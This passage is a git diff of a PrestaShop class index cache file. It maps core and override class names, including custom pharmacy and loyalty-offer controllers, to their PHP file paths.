'ModuleAdminControllerCore' => 'classes/controller/ModuleAdminController.php', + 'ModuleCore' => 'classes/module/Module.php', + 'ModuleFrontController' => 'override/classes/controller/ModuleFrontController.php', + 'ModuleFrontControllerCore' => 'classes/controller/ModuleFrontController.php', + 'ModuleGraph' => '', + 'ModuleGraphCore' => 'classes/module/ModuleGraph.php', + 'ModuleGraphEngine' => '', + 'ModuleGraphEngineCore' => 'classes/module/ModuleGraphEngine.php', + 'ModuleGrid' => '', + 'ModuleGridCore' => 'classes/module/ModuleGrid.php', + 'ModuleGridEngine' => '', + 'ModuleGridEngineCore' => 'classes/module/ModuleGridEngine.php', + 'MyAccountController' => '', + 'MyAccountControllerCore' => 'controllers/front/MyAccountController.php', + 'MySQL' => '', + 'MySQLCore' => 'classes/db/MySQL.php', + 'NewProductsController' => '', + 'NewProductsControllerCore' => 'controllers/front/NewProductsController.php', + 'Notification' => '', + 'NotificationCore' => 'classes/Notification.php', + 'ObjectModel' => '', + 'ObjectModelCore' => 'classes/ObjectModel.php', + 'Offredefidelite' => '', + 'OffredefideliteController' => '', + 'OffredefideliteControllerCore' => 'controllers/front/OffredefideliteController.php', + 'OffredefideliteCore' => 'classes/Offredefidelite.php', + 'OffrefideliteController' => '', + 'OffrefideliteControllerCore' => 'controllers/front/OffrefideliteController.php', + 'OffrefidelitepdfController' => '', + 'OffrefidelitepdfControllerCore' => 'controllers/front/OffrefidelitepdfController.php', + 'Order' => '', + 'OrderCarrier' => '', + 'OrderCarrierCore' => 'classes/order/OrderCarrier.php', + 'OrderCartRule' => '', + 'OrderCartRuleCore' => 'classes/order/OrderCartRule.php', + 'OrderConfirmationController' => '', + 'OrderConfirmationControllerCore' => 'controllers/front/OrderConfirmationController.php', + 'OrderController' => 'override/controllers/front/OrderController.php', + 'OrderControllerCore' => 'controllers/front/OrderController.php', + 'OrderCore' => 'classes/order/Order.php', + 'OrderDetail' => '', + 'OrderDetailController' => '', + 'OrderDetailControllerCore' => 'controllers/front/OrderDetailController.php', + 'OrderDetailCore' => 'classes/order/OrderDetail.php', + 'OrderDiscount' => '', + 'OrderDiscountCore' => 'classes/order/OrderDiscount.php', + 'OrderFollowController' => '', + 'OrderFollowControllerCore' => 'controllers/front/OrderFollowController.php', + 'OrderHistory' => '', + 'OrderHistoryCore' => 'classes/order/OrderHistory.php', + 'OrderInvoice' => '', + 'OrderInvoiceCore' => 'classes/order/OrderInvoice.php', + 'OrderMessage' => '', + 'OrderMessageCore' => 'classes/order/OrderMessage.php', + 'OrderOpcController' => '', + 'OrderOpcControllerCore' => 'controllers/front/OrderOpcController.php', + 'OrderPayment' => '', + 'OrderPaymentCore' => 'classes/order/OrderPayment.php', + 'OrderReturn' => '', + 'OrderReturnController' => '', + 'OrderReturnControllerCore' => 'controllers/front/OrderReturnController.php', + 'OrderReturnCore' => 'classes/order/OrderReturn.php', + 'OrderReturnState' => '', + 'OrderReturnStateCore' => 'classes/order/OrderReturnState.php', + 'OrderSlip' => '', + 'OrderSlipController' => '', + 'OrderSlipControllerCore' => 'controllers/front/OrderSlipController.php', + 'OrderSlipCore' => 'classes/order/OrderSlip.php', + 'OrderState' => '', + 'OrderStateCore' => 'classes/order/OrderState.php', + 'PDF' => '', + 'PDFCore' => 'classes/pdf/PDF.php', + 'PDFGenerator' => 'override/classes/pdf/PDFGenerator.php', + 'PDFGeneratorCore' => 'classes/pdf/PDFGenerator.php', + 'Pack' => '', + 'PackCore' => 'classes/Pack.php', + 'Page' => '', + 'PageCore' => 'classes/Page.php', + 'PageNotFoundController' => '', + 'PageNotFoundControllerCore' => 'controllers/front/PageNotFoundController.php', + 'ParentOrderController' => 'override/controllers/front/ParentOrderController.php', + 'ParentOrderControllerCore' => 'controllers/front/ParentOrderController.php', + 'PasswordController' => '', + 'PasswordControllerCore' => 'controllers/front/PasswordController.php', + 'PaymentCC' => '', + 'PaymentCCCore' => 'classes/PaymentCC.php', + 'PaymentModule' => '', + 'PaymentModuleCore' => 'classes/PaymentModule.php', + 'PdfInvoiceController' => '', + 'PdfInvoiceControllerCore' => 'controllers/front/PdfInvoiceController.php', + 'PdfOffreFideliteController' => '', + 'PdfOffreFideliteControllerCore' => 'controllers/front/PdfOffreFideliteController.php', + 'PdfOrderReturnController' => '', + 'PdfOrderReturnControllerCore' => 'controllers/front/PdfOrderReturnController.php', + 'PdfOrderSlipController' => '', + 'PdfOrderSlipControllerCore' => 'controllers/front/PdfOrderSlipController.php', + 'PhilosophieController' => '', + 'PhilosophieControllerCore' => 'controllers/front/PhilosophieController.php', + 'PresseController' => '', + 'PresseControllerCore' => 'controllers/front/PresseController.php', + 'PrestaShopDatabaseException' => '', + 'PrestaShopDatabaseExceptionCore' => 'classes/exception/PrestaShopDatabaseException.php', + 'PrestaShopException' => '', + 'PrestaShopExceptionCore' => 'classes/exception/PrestaShopException.php', + 'PrestaShopModuleException' => '', + 'PrestaShopModuleExceptionCore' => 'classes/exception/PrestaShopModuleException.php', + 'PrestaShopPaymentException' => '', + 'PrestaShopPaymentExceptionCore' => 'classes/exception/PrestaShopPaymentException.php', + 'PricesDropController' => '', + 'PricesDropControllerCore' => 'controllers/front/PricesDropController.php', + 'Product' => 'override/classes/Product.php', + 'ProductController' => 'override/controllers/front/ProductController.php', + 'ProductControllerCore' => 'controllers/front/ProductController.php', + 'ProductCore' => 'classes/Product.php', + 'ProductDownload' => '', + 'ProductDownloadCore' => 'classes/ProductDownload.php', + 'ProductSale' => 'override/classes/ProductSale.php', + 'ProductSaleCore' => 'classes/ProductSale.php', + 'ProductSupplier' => '', + 'ProductSupplierCore' => 'classes/ProductSupplier.php', + 'Profile' => '', + 'ProfileCore' => 'classes/Profile.php', + 'QuickAccess' => '', + 'QuickAccessCore' => 'classes/QuickAccess.php', + 'RangePrice' => '', + 'RangePriceCore' => 'classes/range/RangePrice.php', + 'RangeWeight' => '', + 'RangeWeightCore' => 'classes/range/RangeWeight.php', + 'Referrer' => '', + 'ReferrerCore' => 'classes/Referrer.php', + 'RequestSql' => '', + 'RequestSqlCore' => 'classes/RequestSql.php', + 'Rijndael' => '', + 'RijndaelCore' => 'classes/Rijndael.php', + 'Risk' => '', + 'RiskCore' => 'classes/Risk.php', + 'Scene' => '', + 'SceneCore' => 'classes/Scene.php', + 'Search' => '', + 'SearchController' => '', + 'SearchControllerCore' => 'controllers/front/SearchController.php', + 'SearchCore' => 'classes/Search.php', + 'SearchEngine' => '', + 'SearchEngineCore' => 'classes/SearchEngine.php', + 'Shop' => '', + 'ShopCore' => 'classes/shop/Shop.php', + 'ShopGroup' => '', + 'ShopGroupCore' => 'classes/shop/ShopGroup.php', + 'ShopUrl' => '', + 'ShopUrlCore' => 'classes/shop/ShopUrl.php', + 'SitemapController' => '', + 'SitemapControllerCore' => 'controllers/front/SitemapController.php', + 'SpecificPrice' => '', + 'SpecificPriceCore' => 'classes/SpecificPrice.php', + 'SpecificPriceRule' => '', + 'SpecificPriceRuleCore' => 'classes/SpecificPriceRule.php', + 'State' => '', + 'StateCore' => 'classes/State.php', + 'StatisticsController' => '', + 'StatisticsControllerCore' => 'controllers/front/StatisticsController.php', + 'Stock' => '', + 'StockAvailable' => '', + 'StockAvailableCore' => 'classes/stock/StockAvailable.php', + 'StockCore' => 'classes/stock/Stock.php', + 'StockManager' => '', + 'StockManagerCore' => 'classes/stock/StockManager.php', + 'StockManagerFactory' => '', + 'StockManagerFactoryCore' => 'classes/stock/StockManagerFactory.php', + 'StockManagerInterface' => 'classes/stock/StockManagerInterface.php', + 'StockManagerModule' => '', + 'StockManagerModuleCore' => 'classes/stock/StockManagerModule.php', + 'StockMvt' => '', + 'StockMvtCore' => 'classes/stock/StockMvt.php', + 'StockMvtReason' => '', + 'StockMvtReasonCore' => 'classes/stock/StockMvtReason.php', + 'StockMvtWS' => '', + 'StockMvtWSCore' => 'classes/stock/StockMvtWS.php', + 'Store' => '', + 'StoreCore' => 'classes/Store.php', + 'StoresController' => 'override/controllers/front/StoresController.php', + 'StoresControllerCore' => 'controllers/front/StoresController.php', + 'Supplier' => '', + 'SupplierController' => '', + 'SupplierControllerCore' => 'controllers/front/SupplierController.php', + 'SupplierCore' => 'classes/Supplier.php', + 'SupplyOrder' => '', + 'SupplyOrderCore' => 'classes/stock/SupplyOrder.php', + 'SupplyOrderDetail' => '', + 'SupplyOrderDetailCore' => 'classes/stock/SupplyOrderDetail.php', + 'SupplyOrderHistory' => '', + 'SupplyOrderHistoryCore' => 'classes/stock/SupplyOrderHistory.php', + 'SupplyOrderReceiptHistory' => '', + 'SupplyOrderReceiptHistoryCore' => 'classes/stock/SupplyOrderReceiptHistory.php', + 'SupplyOrderState' => '', + 'SupplyOrderStateCore' => 'classes/stock/SupplyOrderState.php', + 'Tab' => '', + 'TabCore' => 'classes/Tab.php', + 'Tag' => '', + 'TagCore' => 'classes/Tag.php', + 'Tax' => '', + 'TaxCalculator' => '', + 'TaxCalculatorCore' => 'classes/tax/TaxCalculator.php', + 'TaxCore' => 'classes/tax/Tax.php', + 'TaxManagerFactory' => '', + 'TaxManagerFactoryCore' => 'classes/tax/TaxManagerFactory.php', + 'TaxManagerInterface' => 'classes/tax/TaxManagerInterface.php', + 'TaxManagerModule' => '', + 'TaxManagerModuleCore' => 'classes/tax/TaxManagerModule.php', + 'TaxRule' => '', + 'TaxRuleCore' => 'classes/tax/TaxRule.php', + 'TaxRulesGroup' => '', + 'TaxRulesGroupCore' => 'classes/tax/TaxRulesGroup.php', + 'TaxRulesTaxManager' => '', + 'TaxRulesTaxManagerCore' => 'classes/tax/TaxRulesTaxManager.php', + 'Theme' => '', + 'ThemeCore' => 'classes/Theme.php', + 'Tools' => '', + 'ToolsCore' => 'classes/Tools.php', + 'Translate' => '', + 'TranslateCore' => 'classes/Translate.php', + 'TranslatedConfiguration' => '', + 'TranslatedConfigurationCore' => 'classes/TranslatedConfiguration.php', + 'Upgrader' => '', + 'UpgraderCore' => 'classes/Upgrader.php', + 'Validate' => '', + 'ValidateCore' => 'classes/Validate.php', + 'Warehouse' => '', + 'WarehouseCore' => 'classes/stock/Warehouse.php', + 'WarehouseProductLocation' => '', + 'WarehouseProductLocationCore' => 'classes/stock/WarehouseProductLocation.php', + 'WebserviceException' => '', + 'WebserviceExceptionCore' => 'classes/webservice/WebserviceException.php', + 'WebserviceKey' => '', + 'WebserviceKeyCore' => 'classes/webservice/WebserviceKey.php', + 'WebserviceOutputBuilder' => '', + 'WebserviceOutputBuilderCore' => 'classes/webservice/WebserviceOutputBuilder.php', + 'WebserviceOutputInterface' => 'classes/webservice/WebserviceOutputInterface.php', + 'WebserviceOutputXML' => '', + 'WebserviceOutputXMLCore' => 'classes/webservice/WebserviceOutputXML.php', + 'WebserviceRequest' => '', + 'WebserviceRequestCore' => 'classes/webservice/WebserviceRequest.php', + 'WebserviceSpecificManagementImages' => '', + 'WebserviceSpecificManagementImagesCore' => 'classes/webservice/WebserviceSpecificManagementImages.php', + 'WebserviceSpecificManagementInterface' => 'classes/webservice/WebserviceSpecificManagementInterface.php', + 'WebserviceSpecificManagementSearch' => '', + 'WebserviceSpecificManagementSearchCore' => 'classes/webservice/WebserviceSpecificManagementSearch.php', + 'Zone' => '', + 'ZoneCore' => 'classes/Zone.php', +); ?> \ No newline at end of file diff --git a/cache/class_index.php_old b/cache/class_index.php_old new file mode 100755 index 0000000..94e188e --- /dev/null +++ b/cache/class_index.php_old @@ -0,0 +1,675 @@ + '', + 'AbstractLoggerCore' => 'classes/log/AbstractLogger.php', + 'Address' => 'override/classes/Address.php', + 'AddressController' => 'override/controllers/front/AddressController.php', + 'AddressControllerCore' => 'controllers/front/AddressController.php', + 'AddressCore' => 'classes/Address.php', + 'AddressFormat' => '', + 'AddressFormatCore' => 'classes/AddressFormat.php', + 'AddressesController' => '', + 'AddressesControllerCore' => 'controllers/front/AddressesController.php', + 'AdminAccessController' => '', + 'AdminAccessControllerCore' => 'controllers/admin/AdminAccessController.php', + 'AdminAddonsCatalogController' => '', + 'AdminAddonsCatalogControllerCore' => 'controllers/admin/AdminAddonsCatalogController.php', + 'AdminAddressesController' => '', + 'AdminAddressesControllerCore' => 'controllers/admin/AdminAddressesController.php', + 'AdminAdminPreferencesController' => '', + 'AdminAdminPreferencesControllerCore' => 'controllers/admin/AdminAdminPreferencesController.php', + 'AdminAttachmentsController' => '', + 'AdminAttachmentsControllerCore' => 'controllers/admin/AdminAttachmentsController.php', + 'AdminAttributeGeneratorController' => '', + 'AdminAttributeGeneratorControllerCore' => 'controllers/admin/AdminAttributeGeneratorController.php', + 'AdminAttributesGroupsController' => '', + 'AdminAttributesGroupsControllerCore' => 'controllers/admin/AdminAttributesGroupsController.php', + 'AdminBackupController' => '', + 'AdminBackupControllerCore' => 'controllers/admin/AdminBackupController.php', + 'AdminCarriersController' => '', + 'AdminCarriersControllerCore' => 'controllers/admin/AdminCarriersController.php', + 'AdminCartRulesController' => '', + 'AdminCartRulesControllerCore' => 'controllers/admin/AdminCartRulesController.php', + 'AdminCartsController' => '', + 'AdminCartsControllerCore' => 'controllers/admin/AdminCartsController.php', + 'AdminCategoriesController' => 'override/controllers/admin/AdminCategoriesController.php', + 'AdminCategoriesControllerCore' => 'controllers/admin/AdminCategoriesController.php', + 'AdminCmsCategoriesController' => '', + 'AdminCmsCategoriesControllerCore' => 'controllers/admin/AdminCmsCategoriesController.php', + 'AdminCmsContentController' => '', + 'AdminCmsContentControllerCore' => 'controllers/admin/AdminCmsContentController.php', + 'AdminCmsController' => '', + 'AdminCmsControllerCore' => 'controllers/admin/AdminCmsController.php', + 'AdminContactsController' => '', + 'AdminContactsControllerCore' => 'controllers/admin/AdminContactsController.php', + 'AdminController' => '', + 'AdminControllerCore' => 'classes/controller/AdminController.php', + 'AdminCountriesController' => '', + 'AdminCountriesControllerCore' => 'controllers/admin/AdminCountriesController.php', + 'AdminCurrenciesController' => '', + 'AdminCurrenciesControllerCore' => 'controllers/admin/AdminCurrenciesController.php', + 'AdminCustomerPreferencesController' => '', + 'AdminCustomerPreferencesControllerCore' => 'controllers/admin/AdminCustomerPreferencesController.php', + 'AdminCustomerThreadsController' => '', + 'AdminCustomerThreadsControllerCore' => 'controllers/admin/AdminCustomerThreadsController.php', + 'AdminCustomersController' => '', + 'AdminCustomersControllerCore' => 'controllers/admin/AdminCustomersController.php', + 'AdminDeliverySlipController' => '', + 'AdminDeliverySlipControllerCore' => 'controllers/admin/AdminDeliverySlipController.php', + 'AdminEmailsController' => '', + 'AdminEmailsControllerCore' => 'controllers/admin/AdminEmailsController.php', + 'AdminEmployeesController' => '', + 'AdminEmployeesControllerCore' => 'controllers/admin/AdminEmployeesController.php', + 'AdminFeaturesController' => '', + 'AdminFeaturesControllerCore' => 'controllers/admin/AdminFeaturesController.php', + 'AdminGendersController' => '', + 'AdminGendersControllerCore' => 'controllers/admin/AdminGendersController.php', + 'AdminGeolocationController' => '', + 'AdminGeolocationControllerCore' => 'controllers/admin/AdminGeolocationController.php', + 'AdminGroupsController' => '', + 'AdminGroupsControllerCore' => 'controllers/admin/AdminGroupsController.php', + 'AdminHomeController' => '', + 'AdminHomeControllerCore' => 'controllers/admin/AdminHomeController.php', + 'AdminImagesController' => '', + 'AdminImagesControllerCore' => 'controllers/admin/AdminImagesController.php', + 'AdminImportController' => '', + 'AdminImportControllerCore' => 'controllers/admin/AdminImportController.php', + 'AdminInformationController' => '', + 'AdminInformationControllerCore' => 'controllers/admin/AdminInformationController.php', + 'AdminInvoicesController' => '', + 'AdminInvoicesControllerCore' => 'controllers/admin/AdminInvoicesController.php', + 'AdminLanguagesController' => '', + 'AdminLanguagesControllerCore' => 'controllers/admin/AdminLanguagesController.php', + 'AdminLocalizationController' => '', + 'AdminLocalizationControllerCore' => 'controllers/admin/AdminLocalizationController.php', + 'AdminLoginController' => '', + 'AdminLoginControllerCore' => 'controllers/admin/AdminLoginController.php', + 'AdminLogsController' => '', + 'AdminLogsControllerCore' => 'controllers/admin/AdminLogsController.php', + 'AdminMaintenanceController' => '', + 'AdminMaintenanceControllerCore' => 'controllers/admin/AdminMaintenanceController.php', + 'AdminManufacturersController' => '', + 'AdminManufacturersControllerCore' => 'controllers/admin/AdminManufacturersController.php', + 'AdminMarketingController' => '', + 'AdminMarketingControllerCore' => 'controllers/admin/AdminMarketingController.php', + 'AdminMetaController' => '', + 'AdminMetaControllerCore' => 'controllers/admin/AdminMetaController.php', + 'AdminModulesController' => '', + 'AdminModulesControllerCore' => 'controllers/admin/AdminModulesController.php', + 'AdminModulesPositionsController' => '', + 'AdminModulesPositionsControllerCore' => 'controllers/admin/AdminModulesPositionsController.php', + 'AdminNotFoundController' => '', + 'AdminNotFoundControllerCore' => 'controllers/admin/AdminNotFoundController.php', + 'AdminOrderMessageController' => '', + 'AdminOrderMessageControllerCore' => 'controllers/admin/AdminOrderMessageController.php', + 'AdminOrderPreferencesController' => '', + 'AdminOrderPreferencesControllerCore' => 'controllers/admin/AdminOrderPreferencesController.php', + 'AdminOrdersController' => '', + 'AdminOrdersControllerCore' => 'controllers/admin/AdminOrdersController.php', + 'AdminOutstandingController' => '', + 'AdminOutstandingControllerCore' => 'controllers/admin/AdminOutstandingController.php', + 'AdminPPreferencesController' => '', + 'AdminPPreferencesControllerCore' => 'controllers/admin/AdminPPreferencesController.php', + 'AdminPaymentController' => '', + 'AdminPaymentControllerCore' => 'controllers/admin/AdminPaymentController.php', + 'AdminPdfController' => '', + 'AdminPdfControllerCore' => 'controllers/admin/AdminPdfController.php', + 'AdminPerformanceController' => '', + 'AdminPerformanceControllerCore' => 'controllers/admin/AdminPerformanceController.php', + 'AdminPreferencesController' => '', + 'AdminPreferencesControllerCore' => 'controllers/admin/AdminPreferencesController.php', + 'AdminProductsController' => 'override/controllers/admin/AdminProductsController.php', + 'AdminProductsControllerCore' => 'controllers/admin/AdminProductsController.php', + 'AdminProfilesController' => '', + 'AdminProfilesControllerCore' => 'controllers/admin/AdminProfilesController.php', + 'AdminQuickAccessesController' => '', + 'AdminQuickAccessesControllerCore' => 'controllers/admin/AdminQuickAccessesController.php', + 'AdminRangePriceController' => '', + 'AdminRangePriceControllerCore' => 'controllers/admin/AdminRangePriceController.php', + 'AdminRangeWeightController' => '', + 'AdminRangeWeightControllerCore' => 'controllers/admin/AdminRangeWeightController.php', + 'AdminReferrersController' => '', + 'AdminReferrersControllerCore' => 'controllers/admin/AdminReferrersController.php', + 'AdminRequestSqlController' => '', + 'AdminRequestSqlControllerCore' => 'controllers/admin/AdminRequestSqlController.php', + 'AdminReturnController' => '', + 'AdminReturnControllerCore' => 'controllers/admin/AdminReturnController.php', + 'AdminScenesController' => '', + 'AdminScenesControllerCore' => 'controllers/admin/AdminScenesController.php', + 'AdminSearchConfController' => '', + 'AdminSearchConfControllerCore' => 'controllers/admin/AdminSearchConfController.php', + 'AdminSearchController' => '', + 'AdminSearchControllerCore' => 'controllers/admin/AdminSearchController.php', + 'AdminSearchEnginesController' => '', + 'AdminSearchEnginesControllerCore' => 'controllers/admin/AdminSearchEnginesController.php', + 'AdminShippingController' => '', + 'AdminShippingControllerCore' => 'controllers/admin/AdminShippingController.php', + 'AdminShopController' => '', + 'AdminShopControllerCore' => 'controllers/admin/AdminShopController.php', + 'AdminShopGroupController' => '', + 'AdminShopGroupControllerCore' => 'controllers/admin/AdminShopGroupController.php', + 'AdminShopUrlController' => '', + 'AdminShopUrlControllerCore' => 'controllers/admin/AdminShopUrlController.php', + 'AdminSlipController' => '', + 'AdminSlipControllerCore' => 'controllers/admin/AdminSlipController.php', + 'AdminSpecificPriceRuleController' => '', + 'AdminSpecificPriceRuleControllerCore' => 'controllers/admin/AdminSpecificPriceRuleController.php', + 'AdminStatesController' => '', + 'AdminStatesControllerCore' => 'controllers/admin/AdminStatesController.php', + 'AdminStatsController' => '', + 'AdminStatsControllerCore' => 'controllers/admin/AdminStatsController.php', + 'AdminStatsTabController' => '', + 'AdminStatsTabControllerCore' => 'controllers/admin/AdminStatsTabController.php', + 'AdminStatusesController' => '', + 'AdminStatusesControllerCore' => 'controllers/admin/AdminStatusesController.php', + 'AdminStockConfigurationController' => '', + 'AdminStockConfigurationControllerCore' => 'controllers/admin/AdminStockConfigurationController.php', + 'AdminStockCoverController' => '', + 'AdminStockCoverControllerCore' => 'controllers/admin/AdminStockCoverController.php', + 'AdminStockInstantStateController' => '', + 'AdminStockInstantStateControllerCore' => 'controllers/admin/AdminStockInstantStateController.php', + 'AdminStockManagementController' => '', + 'AdminStockManagementControllerCore' => 'controllers/admin/AdminStockManagementController.php', + 'AdminStockMvtController' => '', + 'AdminStockMvtControllerCore' => 'controllers/admin/AdminStockMvtController.php', + 'AdminStoresController' => '', + 'AdminStoresControllerCore' => 'controllers/admin/AdminStoresController.php', + 'AdminSuppliersController' => '', + 'AdminSuppliersControllerCore' => 'controllers/admin/AdminSuppliersController.php', + 'AdminSupplyOrdersController' => '', + 'AdminSupplyOrdersControllerCore' => 'controllers/admin/AdminSupplyOrdersController.php', + 'AdminTab' => '', + 'AdminTabCore' => 'classes/AdminTab.php', + 'AdminTabsController' => '', + 'AdminTabsControllerCore' => 'controllers/admin/AdminTabsController.php', + 'AdminTagsController' => '', + 'AdminTagsControllerCore' => 'controllers/admin/AdminTagsController.php', + 'AdminTaxRulesGroupController' => '', + 'AdminTaxRulesGroupControllerCore' => 'controllers/admin/AdminTaxRulesGroupController.php', + 'AdminTaxesController' => '', + 'AdminTaxesControllerCore' => 'controllers/admin/AdminTaxesController.php', + 'AdminThemesController' => '', + 'AdminThemesControllerCore' => 'controllers/admin/AdminThemesController.php', + 'AdminTrackingController' => '', + 'AdminTrackingControllerCore' => 'controllers/admin/AdminTrackingController.php', + 'AdminTranslationsController' => '', + 'AdminTranslationsControllerCore' => 'controllers/admin/AdminTranslationsController.php', + 'AdminWarehousesController' => '', + 'AdminWarehousesControllerCore' => 'controllers/admin/AdminWarehousesController.php', + 'AdminWebserviceController' => '', + 'AdminWebserviceControllerCore' => 'controllers/admin/AdminWebserviceController.php', + 'AdminZonesController' => '', + 'AdminZonesControllerCore' => 'controllers/admin/AdminZonesController.php', + 'Alias' => '', + 'AliasCore' => 'classes/Alias.php', + 'Attachment' => '', + 'AttachmentController' => '', + 'AttachmentControllerCore' => 'controllers/front/AttachmentController.php', + 'AttachmentCore' => 'classes/Attachment.php', + 'Attribute' => '', + 'AttributeCore' => 'classes/Attribute.php', + 'AttributeGroup' => '', + 'AttributeGroupCore' => 'classes/AttributeGroup.php', + 'AuthController' => 'override/controllers/front/AuthController.php', + 'AuthControllerCore' => 'controllers/front/AuthController.php', + 'Autoload' => 'classes/Autoload.php', + 'Backup' => '', + 'BackupCore' => 'classes/Backup.php', + 'BestSalesController' => '', + 'BestSalesControllerCore' => 'controllers/front/BestSalesController.php', + 'Blowfish' => '', + 'BlowfishCore' => 'classes/Blowfish.php', + 'CMS' => '', + 'CMSCategory' => '', + 'CMSCategoryCore' => 'classes/CMSCategory.php', + 'CMSCore' => 'classes/CMS.php', + 'CSV' => '', + 'CSVCore' => 'classes/CSV.php', + 'Cache' => '', + 'CacheApc' => '', + 'CacheApcCore' => 'classes/cache/CacheApc.php', + 'CacheCore' => 'classes/cache/Cache.php', + 'CacheFs' => '', + 'CacheFsCore' => 'classes/cache/CacheFs.php', + 'CacheMemcache' => '', + 'CacheMemcacheCore' => 'classes/cache/CacheMemcache.php', + 'CacheXcache' => '', + 'CacheXcacheCore' => 'classes/cache/CacheXcache.php', + 'Carrier' => '', + 'CarrierCore' => 'classes/Carrier.php', + 'CarrierModule' => '', + 'CarrierModuleCore' => 'classes/module/CarrierModule.php', + 'Cart' => 'override/classes/Cart.php', + 'CartController' => 'override/controllers/front/CartController.php', + 'CartControllerCore' => 'controllers/front/CartController.php', + 'CartCore' => 'classes/Cart.php', + 'CartRule' => '', + 'CartRuleCore' => 'classes/CartRule.php', + 'Category' => 'override/classes/Category.php', + 'CategoryController' => 'override/controllers/front/CategoryController.php', + 'CategoryControllerCore' => 'controllers/front/CategoryController.php', + 'CategoryCore' => 'classes/Category.php', + 'ChangeCurrencyController' => '', + 'ChangeCurrencyControllerCore' => 'controllers/front/ChangeCurrencyController.php', + 'Chart' => '', + 'ChartCore' => 'classes/Chart.php', + 'CmsController' => 'override/controllers/front/CmsController.php', + 'CmsControllerCore' => 'controllers/front/CmsController.php', + 'Collection' => '', + 'CollectionCore' => 'classes/Collection.php', + 'Combination' => '', + 'CombinationCore' => 'classes/Combination.php', + 'CompareController' => '', + 'CompareControllerCore' => 'controllers/front/CompareController.php', + 'CompareProduct' => '', + 'CompareProductCore' => 'classes/CompareProduct.php', + 'Configuration' => '', + 'ConfigurationCore' => 'classes/Configuration.php', + 'ConfigurationTest' => '', + 'ConfigurationTestCore' => 'classes/ConfigurationTest.php', + 'Connection' => '', + 'ConnectionCore' => 'classes/Connection.php', + 'ConnectionsSource' => '', + 'ConnectionsSourceCore' => 'classes/ConnectionsSource.php', + 'Contact' => '', + 'ContactController' => 'override/controllers/front/ContactController.php', + 'ContactControllerCore' => 'controllers/front/ContactController.php', + 'ContactCore' => 'classes/Contact.php', + 'Context' => '', + 'ContextCore' => 'classes/Context.php', + 'Controller' => '', + 'ControllerCore' => 'override/classes/range/Controller.php', + 'ControllerFactory' => '', + 'ControllerFactoryCore' => 'classes/ControllerFactory.php', + 'Cookie' => '', + 'CookieCore' => 'classes/Cookie.php', + 'Country' => '', + 'CountryCore' => 'classes/Country.php', + 'County' => '', + 'CountyCore' => 'classes/County.php', + 'Currency' => '', + 'CurrencyCore' => 'classes/Currency.php', + 'Customer' => 'override/classes/Customer.php', + 'CustomerCore' => 'classes/Customer.php', + 'CustomerMessage' => '', + 'CustomerMessageCore' => 'classes/CustomerMessage.php', + 'CustomerThread' => '', + 'CustomerThreadCore' => 'classes/CustomerThread.php', + 'Customization' => '', + 'CustomizationCore' => 'classes/Customization.php', + 'DateRange' => '', + 'DateRangeCore' => 'classes/DateRange.php', + 'Db' => '', + 'DbCore' => 'classes/db/Db.php', + 'DbMySQLi' => '', + 'DbMySQLiCore' => 'classes/db/DbMySQLi.php', + 'DbPDO' => '', + 'DbPDOCore' => 'classes/db/DbPDO.php', + 'DbQuery' => '', + 'DbQueryCore' => 'classes/db/DbQuery.php', + 'Delivery' => '', + 'DeliveryCore' => 'classes/Delivery.php', + 'DesinscriptionController' => '', + 'DesinscriptionControllerCore' => 'controllers/front/DesinscriptionController.php', + 'Diagnostic' => '', + 'DiagnosticController' => '', + 'DiagnosticControllerCore' => 'controllers/front/DiagnosticController.php', + 'DiagnosticCore' => 'classes/Diagnostic.php', + 'DiagnosticpdfController' => '', + 'DiagnosticpdfControllerCore' => 'controllers/front/DiagnosticpdfController.php', + 'DiagnosticpdfemailController' => '', + 'DiagnosticpdfemailControllerCore' => 'controllers/front/DiagnosticpdfemailController.php', + 'Discount' => '', + 'DiscountController' => '', + 'DiscountControllerCore' => 'controllers/front/DiscountController.php', + 'DiscountCore' => 'classes/Discount.php', + 'Dispatcher' => '', + 'DispatcherCore' => 'classes/Dispatcher.php', + 'Employee' => '', + 'EmployeeCore' => 'classes/Employee.php', + 'EspacepharmaciensController' => '', + 'EspacepharmaciensControllerCore' => 'controllers/front/EspacepharmaciensController.php', + 'FaqController' => '', + 'FaqControllerCore' => 'controllers/front/FaqController.php', + 'Feature' => '', + 'FeatureCore' => 'classes/Feature.php', + 'FeatureValue' => '', + 'FeatureValueCore' => 'classes/FeatureValue.php', + 'FileLogger' => '', + 'FileLoggerCore' => 'classes/log/FileLogger.php', + 'FileUploader' => '', + 'FileUploaderCore' => 'classes/FileUploader.php', + 'FrontController' => 'override/classes/controller/FrontController.php', + 'FrontControllerCore' => 'classes/controller/FrontController.php', + 'Gender' => '', + 'GenderCore' => 'classes/Gender.php', + 'GetFileController' => '', + 'GetFileControllerCore' => 'controllers/front/GetFileController.php', + 'Group' => '', + 'GroupCore' => 'classes/Group.php', + 'GroupReduction' => '', + 'GroupReductionCore' => 'classes/GroupReduction.php', + 'Guest' => '', + 'GuestCore' => 'classes/Guest.php', + 'GuestTrackingController' => '', + 'GuestTrackingControllerCore' => 'controllers/front/GuestTrackingController.php', + 'HTMLTemplate' => '', + 'HTMLTemplateCore' => 'classes/pdf/HTMLTemplate.php', + 'HTMLTemplateDeliverySlip' => '', + 'HTMLTemplateDeliverySlipCore' => 'classes/pdf/HTMLTemplateDeliverySlip.php', + 'HTMLTemplateDiagnostic' => '', + 'HTMLTemplateDiagnosticCore' => 'classes/pdf/HTMLTemplateDiagnostic.php', + 'HTMLTemplateInvoice' => '', + 'HTMLTemplateInvoiceCore' => 'classes/pdf/HTMLTemplateInvoice.php', + 'HTMLTemplateOffredefidelite' => '', + 'HTMLTemplateOffredefideliteCore' => 'classes/pdf/HTMLTemplateOffredefidelite.php', + 'HTMLTemplateOrderReturn' => '', + 'HTMLTemplateOrderReturnCore' => 'classes/pdf/HTMLTemplateOrderReturn.php', + 'HTMLTemplateOrderSlip' => '', + 'HTMLTemplateOrderSlipCore' => 'classes/pdf/HTMLTemplateOrderSlip.php', + 'HTMLTemplateSupplyOrderForm' => '', + 'HTMLTemplateSupplyOrderFormCore' => 'classes/pdf/HTMLTemplateSupplyOrderForm.php', + 'HelpAccess' => '', + 'HelpAccessCore' => 'classes/HelpAccess.php', + 'Helper' => '', + 'HelperCore' => 'classes/helper/Helper.php', + 'HelperForm' => '', + 'HelperFormCore' => 'classes/helper/HelperForm.php', + 'HelperHelpAccess' => '', + 'HelperHelpAccessCore' => 'classes/helper/HelperHelpAccess.php', + 'HelperList' => '', + 'HelperListCore' => 'classes/helper/HelperList.php', + 'HelperOptions' => '', + 'HelperOptionsCore' => 